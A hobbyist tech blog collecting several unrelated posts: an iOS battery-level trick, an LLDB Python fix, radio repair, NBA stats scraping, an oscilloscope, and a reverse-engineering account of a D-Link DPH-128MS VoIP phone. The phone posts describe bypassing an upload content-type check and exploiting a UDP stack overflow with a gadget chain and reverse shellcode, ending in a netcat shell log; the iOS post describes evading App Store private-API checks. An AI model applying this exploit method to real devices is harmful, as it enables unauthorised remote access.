Battery Level On iOS

Getting the battery level on an iOS device seems like a simple task. According to Apples’s documentation all you need to do is something like the following:

UIDevice *device = [UIDevice currentDevice];
device.batteryMonitoringEnabled = YES;
float batteryLevel = device.batteryLevel;

Anyone who’s ever used this method though knows that it only reports the batterLevel in 5% increments. If you have an application that displays the battery level to a user and the status bar is displaying the true percentage, this looks really bad. I recently came across an app called Battery Doctor. This app seemed to be doing something differently. If the status bar wasn’t showing the battery percentage, Battery Doctor would show the battery level in 5% increments. However, if you turned on the percentage in the status bar somehow Battery Doctor was then displaying matching percentage.

Anyone who’s ever submitted an app to the app store knows that Apple is extremely strict in regards to accessing private frameworks. I decided to dig into Battery Doctor to see what it was doing. A quick search through the the app in Hopper revealed a class called BDBattery2. This class included a method called fetchBatteryLevel. Since this post is all about how to get the battery level I won’t bore you with all the low level assembly stuff and instead include the reversed code of what this class is doing to get the accurate battery level.

The code above is basically accessing the private _statusBar variable of UIApplication then looping through all subviews looking for subviews like UIStatusBarBatteryPercentItemView and then accessing private variables of those views. The code seems to be carefully tiptoeing around Apples restriction on private frameworks. By looping through views, not including the names of private classes directly and using object_getInstanceVariable instead of valueForKey it seems like maybe they get around the restriction. I’m not entirely clear if accessing private instance variables of public classes will get you rejected from the app store.

One final note. If you’re writing any new code where you want use the runtime to access instance variables, and you have ARC turned on, you’re not going to be able to use object_getInstanceVariable. Instead you’re going to have to do something like this.

UIApplication *app = [UIApplication sharedApplication];
Ivar statusBarIvar = class_getIvar([app class], "_statusBar");
UIView *statusBar = (UIView *)object_getIvar(app, statusBarIvar);

The code above will work when retrieving an instance variable that’s an object but if you try to run the same code on an instance variable of a basic type like int or BOOL you’ll get an EXC_BAD_ACCESS exception. For basic types the value is just returned in the result of object_getIvar but since ARC is turned on it tries to do a retain on the result and things explode. To get around this all you have to do is tweak things a little.

UIView *subView;
Ivar capacityIvar = class_getIvar([subView class], "_capacity");
int capacity = ((int (*)(id, Ivar))object_getIvar)(subView, capacityIvar);

Basically you need to cast the object_getIvar function into the primitive return type to trick the compiler into not bothering with the ARC retain call.

Hopefully this post provided some info about how you can get accurate battery information on iOS devices and also some ideas of how you can push the limits of what Apple allows.

LLDB and Python

MacOSX doesn’t come with the most recent Python. It’s pretty normal to install a newer version either through brew or if you’re like me you just use the anaconda distribution. If you do install a newer version of Python you’re likely to encounter problems when trying to access scripting in LLDB.

$ lldb
(lldb) script help(lldb)
Traceback (most recent call last):
File "~/anaconda/lib/python2.7/site.py", line 557, in
main()
File "~/anaconda/lib/python2.7/site.py", line 539, in main
known_paths = addusersitepackages(known_paths)
File "~/anaconda/lib/python2.7/site.py", line 275, in addusersitepackages
user_site = getusersitepackages()
File "~/anaconda/lib/python2.7/site.py", line 250, in getusersitepackages
user_base = getuserbase() # this will also set USER_BASE
File "~/anaconda/lib/python2.7/site.py", line 240, in getuserbase
USER_BASE = get_config_var('userbase')
File "~/anaconda/lib/python2.7/sysconfig.py", line 516, in get_config_var
return get_config_vars().get(name)
File "~/anaconda/lib/python2.7/sysconfig.py", line 449, in get_config_vars
import re
File "~/anaconda/lib/python2.7/re.py", line 105, in
import sre_compile
File "~/anaconda/lib/python2.7/sre_compile.py", line 14, in
import sre_parse
File "~/anaconda/lib/python2.7/sre_parse.py", line 17, in
from sre_constants import *
File "~/anaconda/lib/python2.7/sre_constants.py", line 18, in
from _sre import MAXREPEAT
ImportError: cannot import name MAXREPEAT
Assertion failed: (err == 0), function ~Mutex, file /SourceCache/lldb/lldb-300.2.51/source/Host/common/Mutex.cpp, line 242.
Abort trap: 6

What’s happening here is that lldb is loading python scripts from your updated version of python but since lldb itself is linked against an older version things don’t match up. If you run the following command you can see what lldb is linked against.

$ otool -L /Applications/Xcode.app//Contents/SharedFrameworks/LLDB.framework/LLDB
/Applications/Xcode.app//Contents/SharedFrameworks/LLDB.framework/Versions/A/LLDB:
@rpath/LLDB.framework/LLDB (compatibility version 1.0.0, current version 300.2.53)
/System/Library/Frameworks/Carbon.framework/Versions/A/Carbon (compatibility version 2.0.0, current version 157.0.0)
/System/Library/PrivateFrameworks/DebugSymbols.framework/Versions/A/DebugSymbols (compatibility version 1.0.0, current version 106.0.0)
/System/Library/Frameworks/Python.framework/Versions/2.7/Python (compatibility version 2.7.0, current version 2.7.5)
/System/Library/Frameworks/Foundation.framework/Versions/C/Foundation (compatibility version 300.0.0, current version 1052.0.0)
/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit (compatibility version 45.0.0, current version 1247.0.0)
/usr/lib/libxml2.2.dylib (compatibility version 10.0.0, current version 10.9.0)
/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation (compatibility version 150.0.0, current version 852.0.0)
/usr/lib/libobjc.A.dylib (compatibility version 1.0.0, current version 228.0.0)
/System/Library/Frameworks/Security.framework/Versions/A/Security (compatibility version 1.0.0, current version 55433.0.0)
/usr/lib/libc++.1.dylib (compatibility version 1.0.0, current version 120.0.0)
/usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 1197.1.1)
/System/Library/Frameworks/ApplicationServices.framework/Versions/A/ApplicationServices (compatibility version 1.0.0, current version 48.0.0)
/System/Library/Frameworks/CoreServices.framework/Versions/A/CoreServices (compatibility version 1.0.0, current version 59.0.0)

Luckily this isn’t to hard to change and as long as you’re just switching between a minor version it should work okay.

cd /Applications/Xcode.app//Contents/SharedFrameworks/LLDB.framework/
install_name_tool -change /System/Library/Frameworks/Python.framework/Versions/2.7/Python ~/anaconda/lib/libpython2.7.dylib LLDB

After doing that you should be able to work with python scripts in lldb!

/Applications/Xcode.app//Contents/Developer/usr/bin/lldb
(lldb) script help(lldb)
Help on package lldb:

NAME
lldb - The lldb module contains the public APIs for Python binding.

FILE
/Applications/Xcode.app/Contents/SharedFrameworks/LLDB.framework/Versions/A/Resources/Python/lldb/__init__.py

DESCRIPTION
...

You’ll also want to make sure you’re PYTHONHOME is set so lldb can find it and if you want to import the lldb module into a script for use outside of lldb you’ll want to update your PYTHONPATH to include the LLDB framework. I stuck the three lines below in my ~/.bash_profile file.

PYTHONPATH=$PYTHONPATH:/Applications/Xcode.app/Contents/SharedFrameworks/LLDB.framework/Resources/Python
export PYTHONPATH
export PYTHONHOME=~/anaconda

Phillips AJ6111 Radio Power Supply

Recently a friend gave me a broken Phillips AJ6111 radio. It was a neat little radio that you can mount under your kitchen cupboard. Only problem was that it didn’t work. I plugged it in, heard a click of a relay and the clock in front came on but none of the buttons seemed to do anything.

Now I’m no electronics expert but I do like to tinker. So I opened up the case and staying as far away from the 120V AC power supply as possible I started looking around. After poking around on the main board with my multimeter for a little bit it seemed like it wasn’t getting power.

So, I bit the bullet, unplugged the radio, discharged the capacitors on the power supply board and disconnected it.

IMG_0914

I sat there and studied this thing for a while trying to figure out what it all did. I realized the AC mains came in and went to the smaller transformer first and a relay and then into some other circuit that probably only turned on the big transformer when the power button was hit. I’m sure people who know things about power supplies would immediately realize that this is a way to get standby power to power say the front clock while not turning on power to the whole thing. Regardless of getting a basic idea of what the circuit did what I noticed where two things.

First, there was a 1.6A 250V fuse that was blown, and second the two big capacitors on the board were bulging. Now I don’t have an EMR tester or anything like that but it was pretty clear these capacitors had gone kaput. So I ordered a new fuse and some 3300uF capacitors from Mouser. 5 minutes to install and now I’m the proud owner of a fully functional radio.

The point of posting this, is just to say hey, if you like electronics, you don’t need to be an expert or have a lot of fancy tools. Get in there and tinker!

Basketball Jones

Well it’s been a while since I’ve updated things. In fact looking back at the last post it’s from right around when basketball season started. Anyone who knows me knows I’m a basketball junkie. I spent a good part of the college and nba season wondering what sort of software could enhance my basketball addiction.

The thing I’m most interested in is trying to analyze plays. I’ve spent a good deal of the season just getting better myself breaking down plays but it intrigues me to think that software could split and categorize plays for me. Computer vision is a complicated topic though and it dawned on me that we get far more data already broken out and available than we used to. In addition to box scores, there’s play by plays that categorize what happened and shotcharts. There are some great sites out there like http://vorped.com/bball that are already doing a great job of aggregating this data.

I wanted to take this a step further though. I didn’t want just NBA data. I wanted WNBA, D-League, NCAA Mens and NCAA Womens basketball stats. Did I mention I’m a basketball junkie? Well I started with the code on Vorped and started poking around some of the NBA sites. One in particular http://stats.nba.com interested me because they have box scores all the way back to 1946. What I noticed is using some of the screen scrape urls from Vorped i couldn’t get old data like I could on the official NBA page. I started watching page loads with the developer tools in chrome and found the following URLs that seemed interesting.

http://stats.nba.com/stats/commonteamyears?LeagueID=00&callback=teaminfocallback

http://stats.nba.com/stats/teaminfocommon?Season=2012-13&SeasonType=Regular+Season&LeagueID=00&TeamID=1610612748

http://stats.nba.com/stats/scoreboard/?LeagueID=00&gameDate=05%2F27%2F2013&DayOffset=0

http://stats.nba.com/stats/boxscore?GameID=0041200314&RangeType=0&StartPeriod=0&EndPeriod=0&StartRange=0&EndRange=0

http://stats.nba.com/stats/playbyplay?GameID=0041200314&StartPeriod=0&EndPeriod=0

http://stats.nba.com/stats/shotchartdetail?Season=2012-13&SeasonType=Regular+Season&TeamID=0&PlayerID=202681&GameID=&Outcome=&Location=&Month=0&SeasonSegment=&DateFrom=&DateTo=&OpponentTeamID=0&VsConference=&VsDivision=&Position=&RookieYear=&GameSegment=&Period=0&LastNGames=0&ContextFilter=&ContextMeasure=FG_PCT

One of the things I noticed in some of these URLs was a LeagueID. It got my wondering if maybe the WNBA and D-League data was also available on stats.nba.com. So I basically just starting plugging in LeagueIDs to the first URL which spits out all teams. LeagueID of ’00’ is NBA and sure enough when I got to ’10’ it spit out the WNBA teams. ’20’ gave me the D-League teams. Now not all of these other leagues have the json data listed above for their games but the scoreboard url does work and using the scoreboard information to get the gamecode I could use the same xml urls being used in on the Vorped site. So for instance, with some easy guessing

http://www.nba.com/games/game_component/dynamic/20130528/MIAIND/pbp_all.xml

becomes

http://www.wnba.com/games/game_component/dynamic/20130527/CHIPHO/pbp_all.xml

And again, I got out the data I wanted. So my plan is to start pulling as much historical data as I can and see what I can see. I don’t have college data yet but I think it would be real interesting to try to get that info from ESPN and be able to track players both men and women from college into their professional careers.

For a quick example of some of the data that can be pulled from the urls above check out

https://github.com/knightsc/bbstats/blob/master/bin/teaminfo.py

And the results

00 1610612755 1949 2012 Philadelphia 76ers PHI East Atlantic sixers
00 1610612766 2004 2012 Charlotte Bobcats CHA East Southeast bobcats
00 1610612749 1968 2012 Milwaukee Bucks MIL East Central bucks
00 1610612741 1966 2012 Chicago Bulls CHI East Central bulls
00 1610612739 1970 2012 Cleveland Cavaliers CLE East Central cavaliers
00 1610612738 1946 2012 Boston Celtics BOS East Atlantic celtics
00 1610612737 1949 2012 Atlanta Hawks ATL East Southeast hawks
00 1610612748 1988 2012 Miami Heat MIA East Southeast heat
00 1610612752 1946 2012 New York Knicks NYK East Atlantic knicks
00 1610612753 1989 2012 Orlando Magic ORL East Southeast magic
00 1610612751 1976 2012 Brooklyn Nets BKN East Atlantic nets
00 1610612754 1976 2012 Indiana Pacers IND East Central pacers
00 1610612765 1948 2012 Detroit Pistons DET East Central pistons
00 1610612761 1995 2012 Toronto Raptors TOR East Atlantic raptors
00 1610612764 1961 2012 Washington Wizards WAS East Southeast wizards
00 1610612746 1970 2012 Los Angeles Clippers LAC West Pacific clippers
00 1610612763 1995 2012 Memphis Grizzlies MEM West Southwest grizzlies
00 1610612740 1988 2012 New Orleans Hornets NOH West Southwest hornets
00 1610612762 1974 2012 Utah Jazz UTA West Northwest jazz
00 1610612758 1948 2012 Sacramento Kings SAC West Pacific kings
00 1610612747 1948 2012 Los Angeles Lakers LAL West Pacific lakers
00 1610612742 1980 2012 Dallas Mavericks DAL West Southwest mavericks
00 1610612743 1976 2012 Denver Nuggets DEN West Northwest nuggets
00 1610612745 1967 2012 Houston Rockets HOU West Southwest rockets
00 1610612759 1976 2012 San Antonio Spurs SAS West Southwest spurs
00 1610612756 1968 2012 Phoenix Suns PHX West Pacific suns
00 1610612760 1967 2012 Oklahoma City Thunder OKC West Northwest thunder
00 1610612750 1989 2012 Minnesota Timberwolves MIN West Northwest timberwolves
00 1610612757 1970 2012 Portland Trail Blazers POR West Northwest blazers
00 1610612744 1946 2012 Golden State Warriors GSW West Pacific warriors
00 1610610024 1947 1954 Baltimore Bullets BAL East  bullets
00 1610610036 1946 1950 Washington Capitols WAS   capitols
00 1610610034 1946 1949 St. Louis Bombers BOM   bombers
00 1610610025 1946 1949 Chicago Stags CHS Central  stags
00 1610610037 1949 1949 Waterloo Hawks WAT   hawks
00 1610610027 1949 1949 Denver Nuggets DN   nuggets
00 1610610030 1949 1952 Indianapolis Olympians INO West  olympians
00 1610610023 1949 1949 Anderson Packers AND West  packers
00 1610610033 1949 1949 Sheboygan Redskins SHE West  redskins
00 1610610028 1946 1946 Detroit Falcons DEF   falcons
00 1610610035 1946 1946 Toronto Huskies HUS   huskies
00 1610610031 1946 1946 Pittsburgh Ironmen PIT   ironmen
00 1610610026 1946 1947 Cleveland Rebels CLR   rebels
00 1610610032 1946 1948 Providence Steamrollers PRO   steamrollers
00 1610610029 1948 1948 Indianapolis Jets JET   jets
10 1611661330 2008 2013 Atlanta Dream ATL East  dream
10 1611661329 2006 2013 Chicago Sky CHI East  sky
10 1611661328 2000 2013 Seattle Storm SEA West  storm
10 1611661325 2000 2013 Indiana Fever IND East  fever
10 1611661324 1999 2013 Minnesota Lynx MIN West  lynx
10 1611661323 1999 2013 Connecticut Sun CON East  sun
10 1611661322 1998 2013 Washington Mystics WAS East  mystics
10 1611661321 1998 2013 Tulsa Shock TUL West  shock
10 1611661320 1997 2013 Los Angeles Sparks LAS West  sparks
10 1611661319 1997 2013 San Antonio Silver Stars SAN West  silverstars
10 1611661317 1997 2013 Phoenix Mercury PHO West  mercury
10 1611661313 1997 2013 New York Liberty NYL East  liberty
10 1611661314 1997 2006 Charlotte Sting CHA East  sting
10 1611661326 2000 2002 Miami Sol MIA East  sol
10 1611661318 1997 2009 Sacramento Monarchs SAC West  monarchs
10 1611661316 1997 2008 Houston Comets HOU West  comets
10 1611661315 1997 2003 Cleveland Rockers CLE East  rockers
10 1611661327 2000 2002 Portland Fire POR West  fire
20 1612709889 2003 2012 Tulsa 66ers TUL  Central 66ers
20 1612709917 2009 2012 Springfield Armor SPG  East armor
20 1612709913 2008 2012 Erie BayHawks ERI  East bayhawks
20 1612709914 2008 2012 Reno Bighorns RNO  West bighorns
20 1612709893 2003 2012 Canton Charge CTN  East charge
20 1612709905 2006 2012 Los Angeles D-Fenders LAD  West dfenders
20 1612709911 2007 2012 Iowa Energy IWA  Central energy
20 1612709900 2006 2012 Bakersfield Jam BAK  West jam
20 1612709918 2010 2012 Texas Legends TEX  Central legends
20 1612709910 2007 2012 Fort Wayne Mad Ants FWN  East mad_ants
20 1612709915 2009 2012 Maine Red Claws MNE  East red_claws
20 1612709904 2006 2012 Sioux Falls Skyforce SXF  Central skyforce
20 1612709903 2006 2012 Idaho Stampede IDA  West stampede
20 1612709890 2003 2012 Austin Toros AUS  Central toros
20 1612709908 2007 2012 Rio Grande Valley Vipers RGV  Central vipers
20 1612709902 2006 2012 Santa Cruz Warriors SCW  West dwarriors
20 1612709899 2006 2008 Anaheim Arsenal ANA  West arsenal
20 1612709901 2006 2008 Colorado 14ers COL  Southwest 14ers
20 1612709909 2007 2010 Utah Flash UTA West  flash
20 1612709898 2005 2006 Arkansas RimRockers ARK East  rimrockers
20 1612709897 2004 2006 Fort Worth Flyers FTW East  flyers
20 1612709891 2003 2005 Fayetteville Patriots FAY   patriots
20 1612709895 2003 2005 Florida Flame FLA   flame
20 1612709896 2003 2005 Roanoke Dazzle ROA   dazzle
20 1612709892 2003 2003 Greenville Groove GRN   None
20 1612709894 2003 2003 Mobile Revelers MOB   None

Tektronix 7633

Tek 7633

Just a quick post about this awesome score I just made on Craigslist. I’ve been looking for a basic analog oscilloscope for a while. Everybody always seems to recommend the Tektronix 465. Go to eBay right now and you’ll see them selling from anywhere between $200 – $400 dollars. This seems ridiculous to me. Anyway I saw this on Craiglist the other day for $50 bucks and went straight out and picked it up.

This is a Tektronix 7633 modular oscilloscope. It came with a 7B53A Dual Time Base, a 7A18 75MHz Dual-Channel Amplifier and a 7A26 200 MHz Dual-Channel Amplifier. What all this means, is rather than just a basic two channel analog oscilloscope, I now have a fancy 4 channel scope with tons more functionality than a basic Tek 465. I’m still pouring over all the manuals but this thing has single shot triggers and does waveform storage of some sort and all sorts of stuff. Very fancy! New in the early 80s this baby cost anywhere from $5,000 – $10,000 dollars. Anyway, hopefully I’ll have more cool stuff to come using it.

D-Link DPH-128MS (update)

I wanted to post a quick update to give a big thank you to Paul Bartholomew. He grabbed a copy of the firmware and started looking things over. He took a look at the other custom app the phone runs act_sip. The act_sip app runs a web server on tcp port 9999 and lets you log in and configure the phone. He noted that on the page that lets you upload a mp3 file it looked like the server was only checking for a content-type of audio/mpeg. Sure enough he was correct. I’m currently just using Tamper Data in Firefox to intercept the post and change the content type, but it works! I can now upload code to the phone.

So far I’ve figured out how the LED lights work and how the LCD and LCD backlight work. Real quick I’ll go over drawing to the LCD. The phone has a 128×64 LCD. The upper left corner is pixel 0,0. There’s just one ioctl call that takes a character buffer and sends the data to the phone. The character buffer has a size of 0x400. Basically each byte represents 8 lines on the LCD. So you have to turn on the correct bit in the byte to get the correct y position. I have some code that basically looks like this.

#define IOCTL_LCD_FLUSH_SCREEN 0x1232

void LCDDrawPoint(char *buffer, int x, int y)
{
    int pos = x + (128 * (y / 8));
    int mask = 1 << (y % 8);
    buffer[pos] |= mask;
}

int main(int argc, char *argv[])
{
    int fd = open("/dev/lcddev", O_RDWR);
    if (fd < 0)
        exit(1);

    char *buffer = malloc(0x400);
    memset(buffer, 0, 0x400);

    LCDDrawPoint(buffer, 12, 24);
    ioctl(fd, IOCTL_LCD_FLUSH_SCREEN, buffer);

    close(fd);
}

I’ll get some actual code together and post it in the next couple days. Right now I’m starting to focus more on the act_sip program since I’d like to know how it reads all the button presses on the phone. Ultimately the code I upload only stays resident on the /mnt/jffs2 partition which is really small. The rest of the filesystem is the ramdisk loaded on boot and ultimately, if I want to have a better busybox version installed, I’m going to need to rebuild the ramdisk and in turn the firmware. Flashing the phone though seems a lot more risky than just playing around.

D-Link DPH-128MS (Part 2)

So i failed to mention with the first post. After I found the tftpsrv, the first thing I did was to run the file commond on it and I got back this

tftpsrv: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV)

So knowing that, I set out to get some sort of Linux MIPS emulator running. Now again, this part I did over a year ago so I don’t remember all the details but I ended up finding a windows qemu build that supported MIPS here. I think that I installed a version of Debian that worked for big endian mips. I do seem to recall that if my executable had of been little endian it would have been a lot easier to get pre made qemu images.

Ok, no more stuff I did a year ago, now on to the real interesting stuff that I’ve been working on recently. I’ll include a zip file at the end of the post with all the files I’m talking about here for those that are interested.

I used objdump to split the exe into a bunch of text files I could read through. I ended up with the following:

tftpsrv.data.txt
tftpsrv.got.txt
tftpsrv.rodata.txt
tftpsrv.strings.txt
tftpsrv.sym.txt
tftpsrv.text.txt

The strings file had all sorts of neat things in it, LEDInit, probe_recv(%d), tons of other network things, error messages and whatever else. I used a python script to go through my code in tftpsrv.text.txt and cross reference the strings file to get easier to read assembly. I also parsed the global offset table file and put comments in the assembly from that.

After doing all that I sorta lost interest in the firmware and decided to see if I could find any bugs with the program. So I checked through the symbols file for functions that might have bugs. An easy one to start with is strcpy. I wrote a python script called function_graph.py that parsed the .text file and generated an image of everything that called strcpy

One of the functions that called strcpy was probe_recv and for whatever reason it just caught my eye. So I set out to look at probe_recv and in turn the function I labeled run_server. Well it turned out that probe_recv would get called when a packet came in via UDP on port 9999. After looking at probe_recv I realized I could send a single ‘?’ to port 9999 and if it was a phone it would respond back with what kind of phone and what version firmware. That’s when I wrote the udp_9999.py script to scan for all phones running the specific version of firmware I was looking for.

After looking a little more at probe_recv and run_server, what stood out to me, instead of the strcpy call was this bit of code

  402360:	27b00020 	addiu	s0,sp,32
  402364:	02002021 	move	a0,s0
  402368:	00002821 	move	a1,zero
  40236c:	24060100 	li	a2,256
  402370:	38620040 	xori	v0,v1,0x40
  402374:	0002a02b 	sltu	s4,zero,v0
  402378:	8f998090 	lw	t9,-32624(gp) 
  40237c:	00000000 	nop
  402380:	0320f809 	jalr	t9
  402384:	00000000 	nop
  402388:	8fbc0018 	lw	gp,24(sp)
  40238c:	02002021 	move	a0,s0
  402390:	26450002 	addiu	a1,s2,2
  402394:	2631fffe 	addiu	s1,s1,-2
  402398:	02203021 	move	a2,s1
  40239c:	8f9980ec 	lw	t9,-32532(gp) 
  4023a0:	00000000 	nop
  4023a4:	0320f809 	jalr	t9
  4023a8:	00000000 	nop
  4023ac:	8fbc0018 	lw	gp,24(sp)
  4023b0:	02002021 	move	a0,s0
  4023b4:	8f858020 	lw	a1,-32736(gp)
  4023b8:	00000000 	nop
  4023bc:	24a5339c 	addiu	a1,a1,13212		# "DPH-128MS"
  4023c0:	02203021 	move	a2,s1
  4023c4:	8f9981c8 	lw	t9,-32312(gp) 
  4023c8:	00000000 	nop
  4023cc:	0320f809 	jalr	t9
  4023d0:	00000000 	nop

The code was basically doing this

probe_recv(int fd, char *buffer, int sizeofbuffer)
{
  ...
  char localbuffer[256];
  memset(localbuffer, 0, 256);
  memcpy(localbuffer, buffer, sizeofbuffer);
  RC4Crypt(localbuffer, "DPH-128");
  ...
}

Ok, this code looked good, it was basically taking whatever size input the function was given and blindly copying it over it’s local variable that was on the stack. A classic buffer overflow. After looking back into the run_server function I saw that I was correct.

  407034:	24060240 	li	a2,576
  407038:	8fa402f0 	lw	a0,752(sp)
  40703c:	8f93801c 	lw	s3,-32740(gp)
  407040:	00000000 	nop
  407044:	26731d50 	addiu	s3,s3,7504
  407048:	00000000 	nop
  40704c:	02602821 	move	a1,s3
  407050:	27b000e8 	addiu	s0,sp,232
  407054:	02003821 	move	a3,s0
  407058:	8f99827c 	lw	t9,-32132(gp) 
  40705c:	00000000 	nop
  407060:	0320f809 	jalr	t9
  407064:	00000000 	nop
  407068:	8fbc0018 	lw	gp,24(sp)
  40706c:	00409021 	move	s2,v0
  407070:	1a400834 	blez	s2,409144 
  407074:	02602821 	move	a1,s3
  407078:	8fa402f0 	lw	a0,752(sp)
  40707c:	02403021 	move	a2,s2
  407080:	02003821 	move	a3,s0
  407084:	8f998018 	lw	t9,-32744(gp)
  407088:	00000000 	nop
  40708c:       27392230        addiu   t9,t9,8752              # 0x402230 probe_recv
  407090:	00000000 	nop
  407094:	0320f809 	jalr	t9
  407098:	00000000 	nop

So basically run_server was calling udp_recvfrom with a buffer that could hold 576 bytes, passing it into probe_recv and probe_recv then copied it blindly over it’s local variable that could only hold 256 bytes. I knew that this was what I needed. I had plenty of room to overlfow the localbuffer and then overwrite the return address that was stored on the stack. The only problem was I didn’t really know where to set my return address. I tried randomly picking places in the stack, but the stack was always in a different position and that never worked. I knew Id have to try something else. So I looked into some ROP techniques and decided that I could probably make that work. I also stumbled upon another brilliant article that suggested returning into some place in code that did a read call. That way, assuming I controlled what and where was being read I would know where to jump my code to. So two more important long assembly things to note. First, at the end of probe_recv in the function epilogue we have this.

  40280c:	8fbc0018 	lw	gp,24(sp)
  402810:	8fbf01e0 	lw	ra,480(sp)
  402814:	8fb601d8 	lw	s6,472(sp)
  402818:	8fb501d4 	lw	s5,468(sp)
  40281c:	8fb401d0 	lw	s4,464(sp)
  402820:	8fb301cc 	lw	s3,460(sp)
  402824:	8fb201c8 	lw	s2,456(sp)
  402828:	8fb101c4 	lw	s1,452(sp)
  40282c:	8fb001c0 	lw	s0,448(sp)
  402830:	03e00008 	jr	ra
  402834:	27bd01e8 	addiu	sp,sp,488

This is important because it means that not only was I controlling the ra register but also all of the s registers. So now I just had to find a read call that used the values from the registers. Nothing fancy in this next step, I literally just searched through the .text file looking at all the read calls. And bingo

  40fb70:	04410009 	bgez	v0,40fb98   #JUMP HERE!
  40fb74:	02002021 	move	a0,s0
  ...
  40fb98:	02202821 	move	a1,s1
  40fb9c:	240600dc 	li	a2,220
  40fba0:	8f998048 	lw	t9,-32696(gp) 
  40fba4:	00000000 	nop
  40fba8:	0320f809 	jalr	t9
  40fbac:	00000000 	nop
  40fbb0:	8fbc0010 	lw	gp,16(sp)
  40fbb4:	0441000d 	bgez	v0,40fbec 
  ...
  40fbec:	8fbf006c 	lw	ra,108(sp)
  40fbf0:	8fb10064 	lw	s1,100(sp)
  40fbf4:	8fb00060 	lw	s0,96(sp)
  40fbf8:	03e00008 	jr	ra
  40fbfc:	27bd0070 	addiu	sp,sp,112

So couple things to remember here, with the MIPS instruction pipeline, when a branch happens the command after the branch still gets executed. So it just so happens that at the end of probe_recv v0 is greater than 0. So s0 is our file descriptor, s1 is our buffer and a2 always gets set to 220 bytes. So now we jump into read and set the app to wait for our next UDP packet to come in on port 9999. I set the buffer to write to the data segment at 0x10000000 and the second return address was still an address we overwrote in the buffer overflow so I set to to jump into my code at 0x10000000.

Huzzah, I could now run whatever code I wanted as long as it fit into 220 bytes. I googled some mips reverse connect shell code and pasted it into my exploit.py shell script. I set up my machine to run netcat listening on port 443, ran my python script and boom, the phone connected back to me.

Quick side note here, it took a lot more time than I just made it out to be to get my shellcode correct. I made it sound easy, but luckily I was able to run the tftpsrv exe in gdb on my qemu machine which made things super nice. I could inspect the stack to figure out my offsets and also test out the reverse connect shellcode. I got it working on my virtual machine and then the first time I ran it on the phone it didn’t actually work. Then I realized, the shell code was calling

execve("/bin/sh", NULL, NULL)

Which worked fine on my qemu machine but on the phone, which has busybox installed on it, /bin/sh is just a softlink and busybox inspects the argv parameter to figure out what it should actually run. So I changed it to to pass in a valid argv and then everything worked.

So I end up with this

nc -vv -l 443
Connection accepted
dmesg
**********************
start_cpu_imem = 0x80192000
**********************
Detected SD9218 (PRID: c401),
Revision: 00,
Chip  ID: 00,
16 MB SDRAM.
CPU revision is: 0000c401
64 entry TLB.
Primary instruction cache 8kb, linesize 4 bytes
Primary data cache 8kb, linesize 16 bytes
Linux version:   2009.08.28-10:22+0000
Determined physical RAM map:
 memory: 01000000 @ 00000000 (usable)
Initial ramdisk at: 0x801d0000 (863317 bytes)
On node 0 totalpages: 4096
zone(0): 4096 pages.
zone(1): 0 pages.
zone(2): 0 pages.

=============================
P123_OS V:01.00.05 2007.07.27
=============================
Kernel command line:
Calibrating delay loop... 199.47 BogoMIPS
MIPS CPU counter frequency is fixed at 3125000 Hz
Memory: 13340k/16384k available (1580k kernel code, 3044k reserved, 974k data, 72k init)
Dentry-cache hash table entries: 2048 (order: 2, 16384 bytes)
Inode-cache hash table entries: 1024 (order: 1, 8192 bytes)
Mount-cache hash table entries: 512 (order: 0, 4096 bytes)
Buffer-cache hash table entries: 1024 (order: 0, 4096 bytes)
Page-cache hash table entries: 4096 (order: 2, 16384 bytes)
Checking for 'wait' instruction...  unavailable.
POSIX conformance testing by UNIFIX
PCI: Probing PCI hardware on host bus 0.
PCI: pcibios_fixup_bus
Vendor: 0x1234 Device: 0x5678
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Initializing RT netlink socket
Starting kswapd
Disabling the Out Of Memory Killer
JFFS2 version 2.1. (C) 2001, 2002 Red Hat, Inc., designed by Axis Communications AB.
SD9218 Uart driver version 0.1 (2003-07-25) with no serial options enabled
ttyS00 at 0xb8000500 (irq = 23) is a SD9218 UART
block: 64 slots per queue, batch=16
RAMDISK driver initialized: 16 RAM disks of 8192K size 1024 blocksize
eth0, irq = 6, io_base = 0xb8001800
eth0: MII PHY found at address 2, status 0x786d advertising 0x05e1 Link 0x41e1.
PPP generic driver version 2.4.2
PPP Deflate Compression module registered
"amd" flash with ID 0x22a7 probed
search_flash_region: part[0] flags=0x00000001
search_flash_region: part[1] flags=0x00000102
search_flash_region: part[2] flags=0x00000040
search_flash_region: part[3] flags=0x00000020
search_flash_region: part[4] flags=0x00000010
search_flash_region: part[5] flags=0x00000000
search_flash_region: part[6] flags=0x00000000
search_flash_region: part[7] flags=0x00000000
search_flash_region: part[8] flags=0x00000000
search_flash_region: part[9] flags=0x00000000
search_flash_region: part[10] flags=0x00000000
search_flash_region: part[11] flags=0x00000000
search_flash_region again for ramdisk+jffs2 case: part[0] flags=0x00000001
search_flash_region again for ramdisk+jffs2 case: part[1] flags=0x00000102
Creating 1 MTD partitions on "sg_flash":
0x00270000-0x003f0000 : "FileSystem"
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP, IGMP
IP: routing cache hash table of 512 buckets, 4Kbytes
TCP: Hash tables configured (established 1024 bind 1024)
EMAC:full_duplex = 1, speed = 1
IP-Config: Incomplete network configuration information.
ip_conntrack (128 buckets, 1024 max)
ip_tables: (c)2000 Netfilter core team
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
NET4: Ethernet Bridge 008 for NET4.0
802.1Q VLAN Support v1.6  Ben Greear 
vlan Initialization complete.
RAMDISK: Compressed image found at block 0
Freeing initrd memory: 843k freed
VFS: Mounted root (ext2 filesystem).
Freeing unused kernel memory: 72k freed
Algorithmics/MIPS FPU Emulator v1.5
enter flash_open
flash_open exit!
enter flash_release
enter flash_open
flash_open exit!
enter flash_release
EMAC:full_duplex = 1, speed = 1
VEP_VoIP driver initialized. version 0.0.20, date:2006-09-19
enter flash_open
flash_open exit!
enter flash_release
lcddev: open
lcddev: open
eardev: open
eardev: close

cat /proc/cpuinfo
processor               : 0
cpu model               : R3000 V0.1
BogoMIPS                : 199.47
wait instruction        : no
microsecond timers      : no
extra interrupt vector  : no
hardware watchpoint     : no
VCED exceptions         : not available
VCEI exceptions         : not available
ll emulations           : 69792414
sc emulations           : 69792414

